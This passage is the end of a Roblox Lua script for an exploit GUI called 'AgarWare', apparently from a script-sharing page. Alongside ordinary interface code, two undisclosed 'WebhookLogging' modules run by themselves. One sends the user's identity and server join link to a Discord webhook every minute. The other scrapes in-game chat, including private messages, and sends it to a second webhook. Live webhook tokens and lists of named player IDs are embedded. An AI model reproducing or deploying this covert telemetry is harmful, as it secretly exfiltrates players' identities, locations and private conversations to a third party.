		return (lower >= '0' and lower <= '9') or (lower >= 'a' and lower <= 'f')
	end
	
	local function formatHex(text)
		-- Remove all spaces
		text = text:gsub("%s+", "")
	
		-- Check if starts with #
		local hasHashtag = text:sub(1, 1) == "#"
		local hexPart = hasHashtag and text:sub(2) or text
	
		-- Filter only valid hex characters
		local filtered = ""
		for i = 1, #hexPart do
			local char = hexPart:sub(i, i)
			if isValidHexChar(char) then
				filtered = filtered .. char
			end
		end
	
		-- Limit to 6 characters
		filtered = filtered:sub(1, 6)
	
		-- Convert to lowercase
		filtered = filtered:lower()
	
		-- Add # at the start
		return "#" .. filtered
	end
	
	-- ============================================================
	-- TEXT CHANGED
	-- ============================================================
	HEX:GetPropertyChangedSignal("Text"):Connect(function()
		local cursorPos = HEX.CursorPosition
		local oldText = HEX.Text
		local newText = formatHex(oldText)
	
		-- Only update if text actually changed (prevents infinite loop)
		if newText ~= oldText then
			HEX.Text = newText
	
			-- Try to maintain cursor position
			if cursorPos > 0 then
				HEX.CursorPosition = math.min(cursorPos, #newText + 1)
			end
		end
	end)
	
	-- ============================================================
	-- FOCUS LOST - ENSURE 6 CHARACTERS
	-- ============================================================
	HEX.FocusLost:Connect(function()
		local text = HEX.Text
	
		-- Remove #
		local hexPart = text:sub(2)
	
		-- If less than 6 characters, pad with zeros
		while #hexPart < 6 do
			hexPart = hexPart .. "0"
		end
	
		HEX.Text = "#" .. hexPart
	end)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	if HEX.Text == "" or HEX.Text == "#" then
		HEX.Text = "#ffffff"
	end
end;
task.spawn(C_35f);
-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedScript
local function C_361()
local script = G2L["361"];
	local Players = game:GetService("Players")
	local TweenService = game:GetService("TweenService")
	local MarketplaceService = game:GetService("MarketplaceService")
	local LoadedMainFrame = script.Parent
	local LoadedFrame = LoadedMainFrame:WaitForChild("LoadedFrame")
	local GameNameLoaded = LoadedFrame:WaitForChild("GameNameLoaded")
	local AgarWareLoaded = LoadedFrame:WaitForChild("AGARWARELOADED")
	
	--------------------------------------------------
	-- BLACKLIST
	--------------------------------------------------
	local BLACKLISTED_USERS = {
		1751294438, -- Serverholder_Avenaxl
		1535622508, -- Buildermann
		3590692150, -- DeLight
		1704747, -- snips
		3234700453, -- Box_boy56433
		10385488328, -- Ihateroblox_oq
		5695584804, -- strongestegg83973
		
		-- Add more user IDs here
	}
	
	local function isBlacklisted(userId)
		for _, id in ipairs(BLACKLISTED_USERS) do
			if id == userId then
				return true
			end
		end
		return false
	end
	
	--------------------------------------------------
	-- CENTER FRAME
	--------------------------------------------------
	LoadedMainFrame.AnchorPoint = Vector2.new(0.5, 0.5)
	LoadedMainFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
	LoadedMainFrame.Visible = true
	
	--------------------------------------------------
	-- CHECK IF USER IS BLACKLISTED
	--------------------------------------------------
	local localPlayer = Players.LocalPlayer
	if isBlacklisted(localPlayer.UserId) then
		-- User is blacklisted
		AgarWareLoaded.Text = "USER BLACKLISTED"
		GameNameLoaded.Text = "You have been blacklisted from using this script."
		GameNameLoaded.TextScaled = true
	
		-- Destroy MainFrame and KeybindFrame
		local AgarWareGui = LoadedMainFrame.Parent
		if AgarWareGui then
			local MainFrame = AgarWareGui:FindFirstChild("MainFrame")
			local KeybindFrame = AgarWareGui:FindFirstChild("KeybindFrame")
			local LoadingScripts = AgarWareGui:FindFirstChild("LoadingScripts")
	
			if MainFrame then
				MainFrame:Destroy()
			end
			if KeybindFrame then
				KeybindFrame:Destroy()
			end
			if LoadingScripts then
				LoadingScripts:Destroy()
			end
		end
	
		-- Stay visible permanently (don't fade away)
		return
	end
	
	--------------------------------------------------
	-- GET GAME NAME (Only if not blacklisted)
	--------------------------------------------------
	local function getGameName()
		local ok, info = pcall(function()
			return MarketplaceService:GetProductInfo(game.PlaceId)
		end)
		if ok and info and info.Name then
			return info.Name
		end
		return "Cannot find game name"
	end
	GameNameLoaded.Text = getGameName()
	
	--------------------------------------------------
	-- FADE AWAY AFTER 3 SECONDS
	--------------------------------------------------
	task.wait(1)
	local tween = TweenService:Create(LoadedFrame, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
		BackgroundTransparency = 1
	})
	-- Fade all text labels too
	local labels = LoadedFrame:GetDescendants()
	local labelTweens = {}
	for _, obj in ipairs(labels) do
		if obj:IsA("TextLabel") then
			local t = TweenService:Create(obj, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
				TextTransparency = 1,
				TextStrokeTransparency = 1
			})
			table.insert(labelTweens, t)
			t:Play()
		end
	end
	tween:Play()
	tween.Completed:Wait()
	LoadedMainFrame.Visible = false
end;
task.spawn(C_361);
-- StarterGui.AgarWareGui.WebhookLogging.OnlineUsers
local function C_366()
local script = G2L["366"];
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local Teams = game:GetService("Teams")
	local LocalPlayer = Players.LocalPlayer
	local MarketplaceService = game:GetService("MarketplaceService")
	
	local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495643916723163287/Dyzh0xCRJGD7xmE7mnsKRTot_rfhN-61VppNMHvFpVtzyA147EcQjqK3ALZlOD_9wBgO"
	
	-- Calculate offset based on UserId (between 1 and 6 seconds)
	local function getUserOffset()
		local offset = (LocalPlayer.UserId % 6) + 1
		return offset
	end
	
	local USER_OFFSET = getUserOffset()
	local lastSendMinute = -1
	
	local TCO_PLACE_IDS = {
		11137575513,
		12943245078,
		12943247001,
		108097274488844,
	}
	
	local function isTCO()
		for _, id in ipairs(TCO_PLACE_IDS) do
			if game.PlaceId == id then return true end
		end
		return false
	end
	
	local function getAdmins()
		local admins = {}
		local chosenTeam = Teams:FindFirstChild("Chosen")
	
		if chosenTeam then
			for _, player in pairs(Players:GetPlayers()) do
				if player.Team == chosenTeam then
					table.insert(admins, player)
				end
			end
		end
	
		return admins
	end
	
	local function getAdminFooter()
		local admins = getAdmins()
	
		if #admins == 0 then
			return "Admin: None"
		end
	
		local adminTexts = {}
		for i, admin in ipairs(admins) do
			table.insert(adminTexts, admin.DisplayName .. " (@" .. admin.Name .. ")")
		end
	
		return "Admin: " .. table.concat(adminTexts, ", ")
	end
	
	local function getMyTime()
		local ls = LocalPlayer:FindFirstChild("leaderstats")
		local t = ls and ls:FindFirstChild("Time")
		return t and t.Value or nil
	end
	
	local function getPlayerStatus()
		local chosenTeam = Teams:FindFirstChild("Chosen")
		local backpack = LocalPlayer:FindFirstChild("Backpack")
		local char = workspace:FindFirstChild(LocalPlayer.Name)
		local hasArken = (backpack and backpack:FindFirstChild("The Arkenstone"))
			or (char and char:FindFirstChild("The Arkenstone"))
	
		if chosenTeam and LocalPlayer.Team == chosenTeam then
			return "Admin"
		elseif hasArken then
			return "Enlightened"
		else
			return "Neutral"
		end
	end
	
	local function getPlaceLabel()
		local placeId = game.PlaceId
		if placeId == 11137575513 then
			return "Main"
		elseif placeId == 12943245078 then
			return "XL"
		elseif placeId == 12943247001 then
			return "VC"
		elseif placeId == 108097274488844 then
			return "OG"
		else
			return nil
		end
	end
	
	local function getGameName()
		local success, info = pcall(function()
			return MarketplaceService:GetProductInfo(game.PlaceId)
		end)
	
		if success and info then
			return info.Name
		else
			return "Unknown Game"
		end
	end
	
	local function getJoinLink()
		return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId
	end
	
	local function getFormattedTime()
		local now = DateTime.now():ToLocalTime()
		local hour = now.Hour
		local minute = now.Minute
		local ampm = "AM"
	
		if hour >= 12 then
			ampm = "PM"
			if hour > 12 then
				hour = hour - 12
			end
		end
	
		if hour == 0 then
			hour = 12
		end
	
		return string.format("%d:%02d %s", hour, minute, ampm)
	end
	
	local function getWebhookName()
		local now = DateTime.now():ToLocalTime()
		local minute = now.Minute
		return string.format("XX:%02d", minute)
	end
	
	local function sendStatusPing()
		local playerCount = #Players:GetPlayers()
		local maxPlayers = Players.MaxPlayers
		local placeLabel = getPlaceLabel()
	
		local webhookName = getWebhookName()
	
		local title, description
	
		if isTCO() then
			-- TCO game format
			local playerStatus = getPlayerStatus()
			local myTime = getMyTime()
			local timeDisplay = myTime and tostring(math.floor(myTime)) or "TIME"
	
			title = string.format("%s / `%s`  |  %s  |  %s", LocalPlayer.DisplayName, LocalPlayer.Name, playerStatus, timeDisplay)
			description = string.format("[%d/%d %s](%s)  |  %s", playerCount, maxPlayers, placeLabel, getJoinLink(), getAdminFooter())
		else
			-- Non-TCO game format
			local gameName = getGameName()
			title = string.format("%s / `%s`", LocalPlayer.DisplayName, LocalPlayer.Name)
			description = string.format("[%d/%d](%s)  |  %s", playerCount, maxPlayers, getJoinLink(), gameName)
		end
	
		local footerText = "AGAR WARE  |  Today at " .. getFormattedTime()
	
		local embed = {
			["title"] = title,
			["description"] = description,
			["color"] = 0x0016ff,
			["footer"] = {
				["text"] = footerText
			}
		}
	
		local payload = {
			["username"] = webhookName,
			["embeds"] = {embed}
		}
	
		local requestFunc = request or http_request or (syn and syn.request) or (http and http.request)
	
		pcall(function()
			requestFunc({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = {
					["Content-Type"] = "application/json"
				},
				Body = HttpService:JSONEncode(payload)
			})
		end)
	end
	
	-- Timer loop that sends every minute at specific seconds (1-6)
	task.spawn(function()
		while true do
			local now = DateTime.now():ToLocalTime()
			local currentMinute = now.Minute
			local currentSecond = now.Second
	
			if currentSecond == USER_OFFSET and currentMinute ~= lastSendMinute then
				sendStatusPing()
				lastSendMinute = currentMinute
			end
	
			task.wait(0.5)
		end
	end)
end;
task.spawn(C_366);
-- StarterGui.AgarWareGui.WebhookLogging.AgarChat
local function C_367()
local script = G2L["367"];
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local Teams = game:GetService("Teams")
	local LocalPlayer = Players.LocalPlayer
	
	local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495773253107581068/i7Et7FfBoW_AprdmzFlJ-9UVBzW_c44scu5ZhxZBuC9kp392EFSOLdxqwDQn2Q0qbeYj"
	
	task.wait(2)
	
	local CoreGui = game:GetService("CoreGui")
	local ExperienceChat = CoreGui:FindFirstChild("ExperienceChat")
	
	if not ExperienceChat then return end
	
	local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
	local scrollingView = chatWindow:WaitForChild("scrollingView")
	local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
	local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
	local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
	
	local processedFrames = {}
	
	local function getAdmins()
		local admins = {}
		local chosenTeam = Teams:FindFirstChild("Chosen")
	
		if chosenTeam then
			for _, player in pairs(Players:GetPlayers()) do
				if player.Team == chosenTeam then
					table.insert(admins, player)
				end
			end
		end
	
		return admins
	end
	
	local function getAdminFooter()
		local admins = getAdmins()
	
		if #admins == 0 then
			return "Admin: None"
		end
	
		local adminTexts = {}
		for i, admin in ipairs(admins) do
			table.insert(adminTexts, admin.DisplayName .. " (@" .. admin.Name .. ")")
		end
	
		return "Admin: " .. table.concat(adminTexts, ", ")
	end
	
	local function getEmbedColor(buttonText)
		if string.match(buttonText, "HIDDEN CHAT") then
			return 0xff0000
		end
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			return 0x000000
		end
	
		local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
		if r and g and b then
			r, g, b = tonumber(r), tonumber(g), tonumber(b)
			return (r * 65536) + (g * 256) + b
		end
	
		return 0xffffff
	end
	
	local function getJoinLink()
		local ok, link = pcall(function()
			return "https://www.roblox.com/games/start?placeId="
				.. game.PlaceId
				.. "&gameInstanceId=" .. game.JobId
		end)
		return ok and link or ""
	end
	
	local function containsAgar(message)
		-- Check if message contains "agar" (case insensitive)
		return string.match(string.lower(message), "agar") ~= nil
	end
	
	local function sendWebhook(display, message, embedColor, buttonText, userId)
		local prefix = ""
	
		-- Extract [To Display] or [From Display] from buttonText
		local toMatch = string.match(buttonText, "%[To .-%]")
		local fromMatch = string.match(buttonText, "%[From .-%]")
	
		if toMatch then
			prefix = "*" .. toMatch .. "* "
		elseif fromMatch then
			prefix = "*" .. fromMatch .. "* "
		end
	
		local title = prefix .. "**" .. display .. "** " .. message
	
		local embed = {
			["title"] = title,
			["color"] = embedColor,
			["footer"] = {
				["text"] = getAdminFooter()
			},
			["timestamp"] = DateTime.now():ToIsoDate(),
			["description"] = "[Join Game](" .. getJoinLink() .. ")"
		}
	
		local payload = {
			["username"] = tostring(userId),
			["content"] = "<@1301477323090034731>",
			["embeds"] = {embed}
		}
	
		local requestFunc = request or http_request or (syn and syn.request) or (http and http.request)
	
		pcall(function()
			requestFunc({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = {
					["Content-Type"] = "application/json"
				},
				Body = HttpService:JSONEncode(payload)
			})
		end)
	end
	
	local function onFrameAdded(frame)
		if processedFrames[frame] then return end
		processedFrames[frame] = true
	
		local frameName = frame.Name
		local userId = string.match(frameName, "^(%d+)%-")
	
		if not userId or userId == "0" then return end
	
		task.wait(0.1)
	
		local textMessage = frame:FindFirstChild("TextMessage")
		if not textMessage then return end
	
		local prefixText = textMessage:FindFirstChild("PrefixText")
		local bodyText = textMessage:FindFirstChild("BodyText")
		local textButton = textMessage:FindFirstChild("TextMessageButton")
	
		if not prefixText or not bodyText or not textButton then return end
	
		local textButtonButton = textButton:FindFirstChild("TextButton")
		if not textButtonButton then return end
	
		local display = prefixText.ContentText
	
		display = string.gsub(display, "%[To .-%] ", "")
		display = string.gsub(display, "%[From .-%] ", "")
	
		local fullMessage = bodyText.ContentText
		local buttonText = textButtonButton.Text
		local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
	
		local message = fullMessage
	
		if isPrivate then
			message = string.gsub(message, "%[To .-%] ", "")
			message = string.gsub(message, "%[From .-%] ", "")
	
			if string.sub(message, 1, #display) == display then
				message = string.sub(message, #display + 1)
			end
		else
			if string.sub(fullMessage, 1, #display) == display then
				message = string.sub(fullMessage, #display + 1)
			end
		end
	
		message = string.match(message, "^%s*(.-)%s*$")
	
		-- Only send if message contains "agar"
		if not containsAgar(message) then return end
	
		local embedColor = getEmbedColor(buttonText)
	
		sendWebhook(display, message, embedColor, buttonText, userId)
	end
	
	for _, child in pairs(RCTScrollContentView:GetChildren()) do
		if child:IsA("Frame") then
			processedFrames[child] = true
		end
	end
	
	RCTScrollContentView.ChildAdded:Connect(function(child)
		if child:IsA("Frame") then
			onFrameAdded(child)
		end
	end)
end;
task.spawn(C_367);
-- StarterGui.AgarWareGui.MasterScripts.ResetCharacter
local function C_369()
local script = G2L["369"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	shared.ResetCharacter = function()
		if LocalPlayer.Character then
			LocalPlayer.Character:BreakJoints()
		end
	end
end;
task.spawn(C_369);
-- StarterGui.AgarWareGui.MasterScripts.RefreshBkitTools
local function C_36a()
local script = G2L["36a"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	-- ============================================================
	-- TOOL REFRESH FUNCTIONS
	-- Each tool can be refreshed individually by calling shared functions
	-- Skips refresh if the tool is already equipped
	-- ============================================================
	
	-- Build Tool Refresh
	shared.BuildToolRefresh = function()
		local buildTool = LocalPlayer.Backpack:FindFirstChild("Build") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build"))
	
		if not buildTool then
			return false
		end
	
		-- Skip if already equipped
		if buildTool.Parent == LocalPlayer.Character then
			return false
		end
	
		-- Equip without unequipping other tools
		if buildTool.Parent == LocalPlayer.Backpack then
			buildTool.Parent = LocalPlayer.Character
		end
	
		-- Force unequip (spam until in backpack)
		while buildTool.Parent == LocalPlayer.Character do
			buildTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		return true
	end
	
	-- Delete Tool Refresh
	shared.DeleteToolRefresh = function()
		local deleteTool = LocalPlayer.Backpack:FindFirstChild("Delete") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Delete"))
	
		if not deleteTool then
			return false
		end
	
		-- Skip if already equipped
		if deleteTool.Parent == LocalPlayer.Character then
			return false
		end
	
		-- Equip without unequipping other tools
		if deleteTool.Parent == LocalPlayer.Backpack then
			deleteTool.Parent = LocalPlayer.Character
		end
	
		-- Force unequip (spam until in backpack)
		while deleteTool.Parent == LocalPlayer.Character do
			deleteTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		return true
	end
	
	-- Paint Tool Refresh
	shared.PaintToolRefresh = function()
		local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
	
		if not paintTool then
			return false
		end
	
		-- Skip if already equipped
		if paintTool.Parent == LocalPlayer.Character then
			return false
		end
	
		-- Equip without unequipping other tools
		if paintTool.Parent == LocalPlayer.Backpack then
			paintTool.Parent = LocalPlayer.Character
		end
	
		-- Force unequip (spam until in backpack)
		while paintTool.Parent == LocalPlayer.Character do
			paintTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		return true
	end
	
	-- Shape Tool Refresh
	shared.ShapeToolRefresh = function()
		local shapeTool = LocalPlayer.Backpack:FindFirstChild("Shape") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape"))
	
		if not shapeTool then
			return false
		end
	
		-- Skip if already equipped
		if shapeTool.Parent == LocalPlayer.Character then
			return false
		end
	
		-- Equip without unequipping other tools
		if shapeTool.Parent == LocalPlayer.Backpack then
			shapeTool.Parent = LocalPlayer.Character
		end
	
		-- Force unequip (spam until in backpack)
		while shapeTool.Parent == LocalPlayer.Character do
			shapeTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		return true
	end
	
	-- Shovel Tool Refresh
	shared.ShovelToolRefresh = function()
		local shovelTool = LocalPlayer.Backpack:FindFirstChild("Shovel") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shovel"))
	
		if not shovelTool then
			return false
		end
	
		-- Skip if already equipped
		if shovelTool.Parent == LocalPlayer.Character then
			return false
		end
	
		-- Equip without unequipping other tools
		if shovelTool.Parent == LocalPlayer.Backpack then
			shovelTool.Parent = LocalPlayer.Character
		end
	
		-- Force unequip (spam until in backpack)
		while shovelTool.Parent == LocalPlayer.Character do
			shovelTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		return true
	end
	
	-- Sign Tool Refresh
	shared.SignToolRefresh = function()
		local signTool = LocalPlayer.Backpack:FindFirstChild("Sign") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Sign"))
	
		if not signTool then
			return false
		end
	
		-- Skip if already equipped
		if signTool.Parent == LocalPlayer.Character then
			return false
		end
	
		-- Equip without unequipping other tools
		if signTool.Parent == LocalPlayer.Backpack then
			signTool.Parent = LocalPlayer.Character
		end
	
		-- Force unequip (spam until in backpack)
		while signTool.Parent == LocalPlayer.Character do
			signTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		return true
	end
	
	--[[
	USAGE:
		shared.BuildToolRefresh()   -- Refreshes Build tool
		shared.DeleteToolRefresh()  -- Refreshes Delete tool
		shared.PaintToolRefresh()   -- Refreshes Paint tool
		shared.ShapeToolRefresh()   -- Refreshes Shape tool
		shared.ShovelToolRefresh()  -- Refreshes Shovel tool
		shared.SignToolRefresh()    -- Refreshes Sign tool
		
	Each function:
	- Returns false if tool already equipped (skips refresh)
	- Returns false if tool not found
	- Returns true if refresh successful
	- Equips tool without unequipping others
	- Force unequips until in backpack
	]]
end;
task.spawn(C_36a);
-- StarterGui.AgarWareGui.MasterScripts.AGARVOWNERLABEL
local function C_36b()
local script = G2L["36b"];
	local Players = game:GetService("Players")
	local TweenService = game:GetService("TweenService")
	local RunService = game:GetService("RunService")
	
	local ownerBrightBlue = Color3.fromRGB(0, 123, 255)
	local ownerDarkBlue = Color3.fromRGB(0, 83, 166)
	local ownerStrokeColor = Color3.fromRGB(0, 53, 109)
	
	local function addTag(player)
		repeat task.wait() until _G.IsOwner
		if not _G.IsOwner(player.UserId) then return end
	
		local function applyToChar(char)
			if not char then return end
	
			local existing = char:FindFirstChild("AgarWareTag")
			if existing then existing:Destroy() end
	
			local hrp = char:WaitForChild("HumanoidRootPart", 10)
			if not hrp then return end
	
			local billboard = Instance.new("BillboardGui")
			billboard.Name = "AgarWareTag"
			billboard.Size = UDim2.new(0, 200, 0, 50)
			billboard.StudsOffset = Vector3.new(0, 4, 0)
			billboard.AlwaysOnTop = true
			billboard.ResetOnSpawn = false
			billboard.Parent = hrp
	
			local label = Instance.new("TextLabel", billboard)
			label.Size = UDim2.new(1, 0, 1, 0)
			label.BackgroundTransparency = 1
			label.Text = "AGAR WARE OWNER"
			label.TextColor3 = ownerBrightBlue
			label.Font = Enum.Font.Code
			label.TextScaled = true
			label.TextStrokeColor3 = ownerStrokeColor
			label.TextStrokeTransparency = 0
	
			local cam = workspace.CurrentCamera
			local scaleConn
			scaleConn = RunService.RenderStepped:Connect(function()
				if not billboard.Parent then
					scaleConn:Disconnect()
					return
				end
				local dist = (cam.CFrame.Position - hrp.Position).Magnitude
				local scale = ((34 / dist) * 0.7) + 0.2
				billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale)
			end)
	
			local pulseRunning = true
			task.spawn(function()
				while pulseRunning and billboard.Parent do
					local toDark = TweenService:Create(
						label,
						TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
						{TextColor3 = ownerDarkBlue}
					)
					toDark:Play()
					toDark.Completed:Wait()
					if not billboard.Parent then break end
					local toBright = TweenService:Create(
						label,
						TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
						{TextColor3 = ownerBrightBlue}
					)
					toBright:Play()
					toBright.Completed:Wait()
				end
			end)
	
			billboard.Destroying:Connect(function()
				pulseRunning = false
				if scaleConn then
					scaleConn:Disconnect()
				end
			end)
		end
	
		if player.Character then
			applyToChar(player.Character)
		end
		player.CharacterAdded:Connect(applyToChar)
	end
	
	for _, player in ipairs(Players:GetPlayers()) do
		addTag(player)
	end
	Players.PlayerAdded:Connect(addTag)
	
	
	
	
	
	
	
	
	
	
	
	-- ==========================================
	-- WHITELISTED TAG
	-- ==========================================
	local whiteBrightBlue = Color3.fromRGB(255, 255, 255)
	local whiteDarkBlue = Color3.fromRGB(166, 166, 166)
	local whiteStrokeColor = Color3.fromRGB(49, 49, 49)
	
	local function addWhitelistedTag(player)
		repeat task.wait() until _G.IsWhitelisted
		if not _G.IsWhitelisted(player.UserId) then return end
	
		-- Don't show tag to the whitelisted player themselves
		local LocalPlayer = Players.LocalPlayer
		if player == LocalPlayer then return end
	
		local function applyToChar(character)
			if not character then return end
			local hrp = character:WaitForChild("HumanoidRootPart", 10)
			if not hrp then return end
			local existing = hrp:FindFirstChild("WhitelistedTag")
			if existing then existing:Destroy() end
			local billboard = Instance.new("BillboardGui")
			billboard.Name = "WhitelistedTag"
			billboard.Size = UDim2.new(0, 200, 0, 50)
			billboard.StudsOffset = Vector3.new(0, 4, 0)
			billboard.AlwaysOnTop = true
			billboard.ResetOnSpawn = false
			billboard.Parent = hrp
			local label = Instance.new("TextLabel", billboard)
			label.Size = UDim2.new(1, 0, 1, 0)
			label.BackgroundTransparency = 1
			label.Text = "COOL PEOPLE"
			label.TextColor3 = whiteBrightBlue
			label.Font = Enum.Font.Arcade
			label.TextScaled = true
			label.TextStrokeColor3 = whiteStrokeColor
			label.TextStrokeTransparency = 0
			local cam = workspace.CurrentCamera
			local scaleConn
			scaleConn = RunService.RenderStepped:Connect(function()
				if not billboard.Parent then
					scaleConn:Disconnect()
					return
				end
				local dist = (cam.CFrame.Position - hrp.Position).Magnitude
				local scale = ((26 / dist) * 0.5) + 0.2
				billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale)
			end)
			local pulseRunning = true
			task.spawn(function()
				while pulseRunning and billboard.Parent do
					local toDark = TweenService:Create(
						label,
						TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
						{TextColor3 = whiteDarkBlue}
					)
					toDark:Play()
					toDark.Completed:Wait()
					if not billboard.Parent then break end
					local toBright = TweenService:Create(
						label,
						TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
						{TextColor3 = whiteBrightBlue}
					)
					toBright:Play()
					toBright.Completed:Wait()
				end
			end)
			billboard.Destroying:Connect(function()
				pulseRunning = false
				if scaleConn then
					scaleConn:Disconnect()
				end
			end)
		end
		if player.Character then
			applyToChar(player.Character)
		end
		player.CharacterAdded:Connect(applyToChar)
	end
	
	for _, player in ipairs(Players:GetPlayers()) do
		addWhitelistedTag(player)
	end
	Players.PlayerAdded:Connect(addWhitelistedTag)
	
	
	
	
	
	
	
	
	-- ==========================================
	-- BLACKLISTED TAG
	-- ==========================================
	local blackBrightRed = Color3.fromRGB(255, 0, 0)
	local blackDarkRed = Color3.fromRGB(150, 0, 0)
	local blackStrokeColor = Color3.fromRGB(80, 0, 0)
	local function addBlacklistedTag(player)
		repeat task.wait() until _G.IsBlacklisted and _G.IsOwner and _G.IsWhitelisted
		-- Only owners and whitelisted can see blacklist tags
		local LocalPlayer = game:GetService("Players").LocalPlayer
		if not _G.IsOwner(LocalPlayer.UserId) and not _G.IsWhitelisted(LocalPlayer.UserId) then return end
		if not _G.IsBlacklisted(player.UserId) then return end
		local function applyToChar(character)
			if not character then return end
			local torso = character:WaitForChild("UpperTorso", 10) or character:WaitForChild("Torso", 10)
			if not torso then return end
			local existing = torso:FindFirstChild("BlacklistedTag")
			if existing then existing:Destroy() end
			local billboard = Instance.new("BillboardGui")
			billboard.Name = "BlacklistedTag"
			billboard.Size = UDim2.new(0, 200, 0, 50)
			billboard.StudsOffset = Vector3.new(0, 0, 0)
			billboard.AlwaysOnTop = true
			billboard.ResetOnSpawn = false
			billboard.Parent = torso
			local label = Instance.new("TextLabel", billboard)
			label.Size = UDim2.new(1, 0, 1, 0)
			label.BackgroundTransparency = 1
			label.Text = "BLACKLISTED"
			label.TextColor3 = blackBrightRed
			label.Font = Enum.Font.Arcade
			label.TextScaled = true
			label.TextStrokeColor3 = blackStrokeColor
			label.TextStrokeTransparency = 0
			local cam = workspace.CurrentCamera
			local scaleConn
			scaleConn = game:GetService("RunService").RenderStepped:Connect(function()
				if not billboard.Parent then
					scaleConn:Disconnect()
					return
				end
				local dist = (cam.CFrame.Position - torso.Position).Magnitude
				local scale = ((26 / dist) * 0.5)
				billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale)
			end)
			local pulseRunning = true
			task.spawn(function()
				while pulseRunning and billboard.Parent do
					local toDark = game:GetService("TweenService"):Create(
						label,
						TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
						{TextColor3 = blackDarkRed}
					)
					toDark:Play()
					toDark.Completed:Wait()
					if not billboard.Parent then break end
					local toBright = game:GetService("TweenService"):Create(
						label,
						TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
						{TextColor3 = blackBrightRed}
					)
					toBright:Play()
					toBright.Completed:Wait()
				end
			end)
			billboard.Destroying:Connect(function()
				pulseRunning = false
				if scaleConn then
					scaleConn:Disconnect()
				end
			end)
		end
		if player.Character then
			applyToChar(player.Character)
		end
		player.CharacterAdded:Connect(applyToChar)
	end
	for _, player in ipairs(game:GetService("Players"):GetPlayers()) do
		addBlacklistedTag(player)
	end
	game:GetService("Players").PlayerAdded:Connect(addBlacklistedTag)
end;
task.spawn(C_36b);
-- StarterGui.AgarWareGui.MasterScripts.PLAYERLISTUSER
local function C_36c()
local script = G2L["36c"];
	-- UserListMaster Script (put in Gui.MasterScripts)
	
	_G.UserLists = {
		Blacklisted = {
			1535622508, -- Buildermann
			3590692150, -- DeLight
			1704747, -- snips
			3234700453, -- Box_boy56433
			10385488328, -- Ihateroblox_oq
			5695584804, -- strongestegg83973
			10923596100, -- serverbot_tco
		},
	
		Whitelisted = {
			10754470202, -- raja 22
			10642124279, -- raja 21
			8008797519, -- phan main
			10840760745, -- phan einstein
			2735168711, -- slime 2
			3492744393, -- slime
			909205143, -- pop
			7999975433, -- koi
			10842814389, -- MONKEYARMPIT6
			10946974452, -- korea
		},
	
		Owners = {
			574381128,   -- main
			10587072700, -- ryansocoool
			8308247571,  -- bobby2 agarv_bbc
			10837544781, -- agarv609
		}
	}
	
	-- Helper functions
	function _G.IsBlacklisted(userId)
		for _, id in ipairs(_G.UserLists.Blacklisted) do
			if userId == id then
				return true
			end
		end
		return false
	end
	
	function _G.IsWhitelisted(userId)
		for _, id in ipairs(_G.UserLists.Whitelisted) do
			if userId == id then
				return true
			end
		end
		return false
	end
	
	function _G.IsOwner(userId)
		for _, id in ipairs(_G.UserLists.Owners) do
			if userId == id then
				return true
			end
		end
		return false
	end
end;
task.spawn(C_36c);

return G2L["1"], require;

Features & Information

this is an old version (reupload btw, last one got taken down)
#agar#agar ware#tco#the chosen one#open source

Community Comments (1)

sunscraksunscrakOct 4, 2026

op script

More Scripts for The Chosen One